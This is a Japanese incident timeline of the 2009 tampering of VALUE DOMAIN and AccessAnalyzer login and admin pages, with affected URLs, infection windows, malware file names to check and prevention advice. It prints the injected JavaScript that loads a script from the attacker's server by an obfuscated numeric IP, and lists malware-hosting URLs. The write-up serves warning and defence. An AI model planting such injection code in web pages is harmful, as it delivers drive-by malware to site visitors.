

VALUE DOMAIN/XREA/AccessAnalyzer 不正改竄問題の流れ

自動リンクが効かないように、URLに♯を挿入しています。

07/06 VALUE DOMAINのログイン画面に不正なJSが挿入される改竄が発見される ([第1報](#)・[改竄を確認](#))

ログイン画面 (A) <http://www.value-domain♯.com/login.php> は

(B) <http://1856317799♯:888/s.js> を呼び出している

(C) <http://110.165.41.103♯:888/dir/m.htm> を呼び出している

(D) <http://110.135.41.103♯/dir/show.php> を呼び出している

07/06 魚拓が取得される

<http://s03.megalodon.jp/2009-0706-1843-51/https://♯www.value-domain.com/login.php>

07/06 [\(C\)にノーガードのXPでアクセスしたところキーロガーが検出・ダウンロードされた](#)

07/07 [\(A\)のlogin.phpから不正なjsコードが削除される](#)

(VD側が削除したのか、不正アクセス元が削除したのかは不明)

07/07 MSからアドバイザリ、IPAからアナウンスが出る

<http://www.microsoft.com/japan/technet/security/advisory/972890.mspx>

<http://www.ipa.go.jp/security/ciadr/vul/20090707-ms-activex.html>

07/07 [VDにこの件に関して問い合わせを行ったところ「改竄は確認できませんでした。」との返答がある](#)

07/07 [-以前xreaで発生した改竄との関連が指摘される](#)

07/08 [AccessAnalyzerのトップページ・管理ページ全般に不正なJSが挿入される改竄が発見される](#)

ログイン画面 (E) <http://ax.xrea.♯com/login.php> (2台のサーバでラウンドロビンしているが、改竄されたのは219.101.229.188のほう) は

(F) <http://1856317799♯:888/jp.js> を呼び出している

(G) <http://0x6EA52967♯:888/dir2/show.php> を呼び出している

(H) <http://0x6EA52967♯:888/dir2/go.jpg> を呼び出している

(I) <http://1856317799♯:888/counter.htm> を呼び出している

07/10 [マルウェアが設置されていた 110.135.41.103 \(= 1856317799 = 0x6EA52967\) のサーバが凍結される。](#)

07/13 大手プロバイダSo-netの「So-net セキュリティ通信」で、[名指して改竄&放置を指摘される](#)

07/21 問題のJSが削除される

07/21 8:25頃 [AccessAnalyzer改竄についてのリリースが出る](#)

07/21 16:25頃 [VALUE DOMAIN改竄についてのリリースが出る](#)

不正なJSのコード

```
lt = new Array(2);
lt[0] = new Date().getTime();

self.name="MAIN";
//--></script>
<SCRIPT LANGUAGE="JAVASCRIPT">
    var js = document.createElement('script');
    js.src = "http://1856317799:888/jp.js";
    try {document.getElementsByTagName('head')[0].appendChild(js);}
    catch(exp){}
    js = null;
</SCRIPT>
</HEAD>
<BODY BGCOLOR="#CCCCCC" TEXT="#000000" LINK="#000000" VLINK="#000000
<TABLE WIDTH="800" BORDER="0" CELSPACING="0" CELLPADDING="0" ALI
```

マルウェア分析サイトによるVDログインページの詳細

<http://wepawet.cs.ucsb.edu/view.php?hash=c060c4c4a3c128706441effa96466c15&t=1246871592&type=js>

不正コードVDログインページの魚拓

<http://s03.megalodon.jp/2009-0706-1843-51/https://www.value-domain.com/login.php>

注意 この魚拓は不正なコードが仕組まれたままアクセス可能となっています。
アクセスする場合は必ずJavaScriptをOFFにしてください。

改竄されていたページ

<http://www.value-domain.com/login.php>

<http://ax.xrea.com/support.php>

<http://ax.xrea.com/logout.php>

<http://ax.xrea.com/faq.php>

<http://ax.xrea.com/rules.php>

<http://ax.xrea.com/signup.php>

<http://ax.xrea.com/> (= <http://ax.xrea.com/index.php>)

<http://ax.xrea.com/login.php>

感染予防

- ・バリュドメ、アクアナのサイト全てにおいてリンクを踏まない
- ・アクアナなどの解析スクリプトはすべて外す（二次被害防止にもなる
- ・OS、ブラウザ、プラグインなどを最新版にする
- ・セキュリティソフトも最新版に対応する（現にカスペルやノートンは反応して防いでくれている
- ・VISTAの場合はユーザーアカウント制御をオン（デフォではオンになってる）にして意味不明なプログラムは実行させない
- ・ルナスケやブニル、2chビューアの一部などIEをベースにしてるブラウザも警戒がいる
- ・感染が疑わしくばネット切断の上でクリーンインスコ（リカバリ）推奨

ウイルスに感染する可能性のあった期間と環境

2ちゃんねるのスレにおける第一発見者の時系列から以下の通りになります。

- ・7月6日4時から7月6日24時の間に、WindowsXP + IE6,7の環境でバリュドメインのログイン画面にアクセスした人が、ウイルスに感染している可能性があります。
- ・7月7日10時から7月10日15時の間に、WindowsXP + IE6,7の環境でアクセスアナライザにアクセスした人が、ウイルスに感染している可能性があります。

デジロウイルスに感染しているかのチェック方法

感染に心当たりのある方は、システムフォルダ内の以下の場所を確認してください

Windows 2000 SP4:

C:\Winnt\System32

Windows XP, Vista:

C:\Windows\System32

チェックするファイル:

carrsv.dll

diskcheck.exe

flashaegh.dll

mnpse.dll

ntst.dll

これらのファイルが存在した場合、速やかにウイルスチェックを行ってください。デジロウイルスに感染した可能性が極めて高いと思われます。

参照: [UnderForge of Lack 人事ですかそうですか\(Part2\)](#)
上記ブログではより詳細な感染対象環境も示されている。

関連スレッド

- [VALUE DOMAINってどうよ? part34](#)
- [VALUE DOMAINってどうよ? part35](#)
- [xrea.com part146](#)
- [CORESERVER.JP Part17](#)
- [【アクセス解析】AccessAnalyzer.com Part5【XREA】](#)
- [【アクセス解析】AccessAnalyzer.com Part6【XREA】](#)

デジロック改竄問題に関するサイト

- [Slashdot.jp IEをターゲットにしたゼロデイ攻撃が発生中](#)
- [リネージュ資料室](#)
- [セキュリティホールMEMO](#)
- [so-netセキュリティ通信 国内のサイト複数が改ざん](#)
- [UnderForge of Lack 人事ですかそうですか\(Part2\) \(デジロウイルスについて\)](#)

配布されたウイルスに関するサイト

- [マイクロソフト セキュリティ アドバイザリ \(972890\)](#)
- [トレンドマイクロ JS_DLOADER.BD](#)
- [マカフィー ウイルス情報 Exploit-MSDirectShow.b](#)
- [シマンテック Downloader.Fostrem](#)

合計：18662

今日：1

昨日：3